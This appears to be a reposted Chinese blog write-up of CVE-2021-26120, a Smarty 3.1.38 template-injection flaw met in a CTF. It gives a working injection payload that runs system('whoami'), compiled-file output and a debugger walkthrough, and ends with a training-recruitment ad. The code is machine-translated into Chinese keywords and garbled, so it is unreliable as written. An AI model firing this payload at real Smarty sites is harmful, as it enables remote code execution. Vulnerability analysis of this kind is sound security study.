写在前面的
前段时间,红明谷CTF发现一些最初的马蒂的注入题,没有参考接触过php的模板前面,便便差资料,抽空学习了,不足多指教。
关于题目
的题目是marty3.1.39修改了规则,再上一些限制open_basedir的,后看wp是3.1.38存在两个rce,就拉了一个CVE-2021-26120来跟一下。
分析
本地windows搭上的环境,
index.php
error_reporting ( 0 );
include_once ( './libs/Smarty.class.php' );
$聪明 = 新 聪明();
$my_security_policy = 新 Smarty_Security ( $smarty );
$my_security_policy -> php_functions = null ;
$my_security_policy -> php_handling = Smarty :: PHP_REMOVE ;
$my_security_policy -> php_modifiers = null ;
$my_security_policy ->static_classes = null ;
$my_security_policy -> allow_super_globals = false ;
$my_security_policy -> allow_constants = false ;
$my_security_policy -> allow_php_tag = false ;
$my_security_policy ->流 = null ;
$my_security_policy -> php_modifiers = null ;
$smarty -> enableSecurity ( $my_security_policy );
$smarty ->显示(“字符串:” 。$_GET [ 'juju' ]);
已经知道了:
当访问一个模板文件的时候,smarty会模板文件会生成一个.php文件的假设文件,在下一次有相同的请求时直接调用,否则重新编译并写新文件。
根据poc,先打个看个看,/?juju={function+name=test}{/function},发现在tempaltes_c/生成一个编译文件:
/* Smarty 版本 3.1.38,创建于 2022-03-31 20:45:53
从 '8c326fc8392e7d13b7f993823e2215eb02fb980e' */
/* @var Smarty_Internal_Template $_smarty_tpl */
if ( $_smarty_tpl -> _decodeProperties ( $_smarty_tpl , array (
'version' => '3.1.38' ,
'unifunc' => 'content_6245a281551806_05807432' ,
'has_nocache_code' => false ,
' file_dependency' =>
数组 (
),
'includes' =>
数组 (
),
),假)) {
功能内容 _6245a281551806_05807432 (Smarty_Internal_Template $_smarty_tpl ) {
$_smarty_tpl -> smarty -> ext -> _tplFunction -> registerTplFunctions ( $_smarty_tpl , array (
'test' =>
array (
'compiled_filepath' => 'D:\program\phpStudy_64\phpstudy_pro\ WWW \的smarty-3.1.38 \ templates_c \ 8c326fc8392e7d13b7f993823e2215eb02fb980e_0.string.php” ,
'UID' => '8c326fc8392e7d13b7f993823e2215eb02fb980e' ,
'call_name' => 'smarty_template_function_test_8448067526245a2812ef2c6_13818238' ,
),
));
}
/ * smarty_template_function_test_8448067526245a2812ef2c6_13818238 * /
如果 (!function_exists ('smarty_template_function_test_8448067526245a2812ef2c6_13818238' )) {
函数 smarty_template_function_test_8448067526245a2812ef2c6_13818238 (Smarty_Internal_Template $ _smarty_tpl ,$ PARAMS ) {的
foreach ($ PARAMS 为 $密钥 => $值) {
$ _smarty_tpl - > tpl_vars [ $键] = 新 Smarty_Variable ($value , $_smarty_tpl -> isRenderingCache );
}
}}
/*/ smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
}
打个poc:?juju={function+name='rce(){};system("whoami");function '}{/function}
/* Smarty 版本 3.1.38,创建于 2022-03-31 20:49:29
从 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7' */
/* @var Smarty_Internal_Template $_smarty_tpl */
if ( $_smarty_tpl -> _decodeProperties ( $_smarty_tpl , array (
'version' => '3.1.38' ,
'unifunc' => 'content_6245a3598b4cf6_00370686' ,
'has_nocache_code' => false ,
' file_dependency' =>
数组 (
),
'includes' =>
数组 (
),
),假)) {
功能内容 _6245a3598b4cf6_00370686 (Smarty_Internal_Template $_smarty_tpl ) {
$_smarty_tpl -> smarty -> ext -> _tplFunction -> registerTplFunctions ( $_smarty_tpl , array (
'rce(){};system("whoami");function ' =>
array (
'compiled_filepath' => ' D:\program\phpStudy_64\phpstudy_pro\WWW\smarty-3.1.38\templates_c\a3aabdfcc563678b439f63a9e8fff2d056eed2a7_0.string.php' ,
'uid' => ' a3aabdfcc563678b439f63a9e8fff ,
2d056'eed2a'7' 'smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318' ,
),
));
}
/ * smarty_template_function_rce(){};系统( “WHOAMI”);功能_20858581166245a35986de39_17347318 * /
如果 (!function_exists ('smarty_template_function_rce(){};系统( “WHOAMI”);功能_20858581166245a35986de39_17347318' )) {
函数 smarty_template_function_rce (){ }; 系统(“whoami” );函数 _20858581166245a35986de39_17347318 (Smarty_Internal_Template $_smarty_tpl ,
foreach ( $params as $key => $value ) {
$_smarty_tpl -> tpl_vars [ $key ] = new Smarty_Variable ( $value , $_smarty_tpl -> isRenderingCache );
}
}}
/*/ smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
}
大概可以定义第28行中,rce(){};system("whoami");function 函数名中,通过{};结束前面插入一个函数,通过function使后面生成的编译文件名部分字符串提前成为函数名,中间便导致了插件。
debug跟入查看:(确保删除已经生成的编译文件,调试比较长,只有一些关键函数)
从display进入->_ execute_execute中190行调用createTemplate生成生成, 接着234开始render: 进入smarty_internal.php的render,然后216compiled-render: 进入smarty_internal_compiled.php的render,接着105进程: 进入smarty_internal_compiled.的进程中,断点的持续到两一个地方: compileTemplateSource 编写模板源,文件的最后就是编译模板,再进行加载, 接着 CompilTemplateSource: compileTemplateSource 的 184 加载,通过 $ 写文件这个->写行写文件,接着写: filepath 就是这里的路径,代码则为最终编译文件的代码。不过这是最后一步了,先得往回看如何编译模板
smarty_internal_templatecompilerbase.php 的compileTemplateSource,3doCompile 这里中 我们也编译器库的payload, payload主要的解析过程,就在doParse过程中: 偷了个懒,因为这部分太长了,加之我没有好好去跟,就直接跳到最后callTagCompiler callTagCompiler就近调用某类的编译方法: 标签为函数,最后所以跟进了,因为这里提一下smarty_internal_compile_function.php分别定义了smarty_internal_compile_function和smarty_internal_compile_function关闭两个不同的类,分别为{function}和{/function}标签编译代码 就是编译: 可以看到,payload原本原片给了$_name,然后就是简单了,然后$_name直接拍摄了 个新中,带入了最后的内容,就是写个模板文件什么的,不多说了。
现在跳回一开始compileTemplateSource和loadCompiledTemplate的地方,loadCompiledTemplate中包含了编译文件。
修缮也是在获取$ _name
的地方加了过滤:
结语
比较可以,原题了,可以通过换行,执行时再修改正则
还是自己菜了。
参考
https://xz.aliyun.com/t/1983
来源:先知(https://xz.aliyun.com/t/11112)
注:如有侵权请联系删除
船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
人生道路很长,未来可期,
哪怕脚步慢一点也无妨!
原文始发于微信公众号(衡阳信安):CVE-2021-26120一波潦草的分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论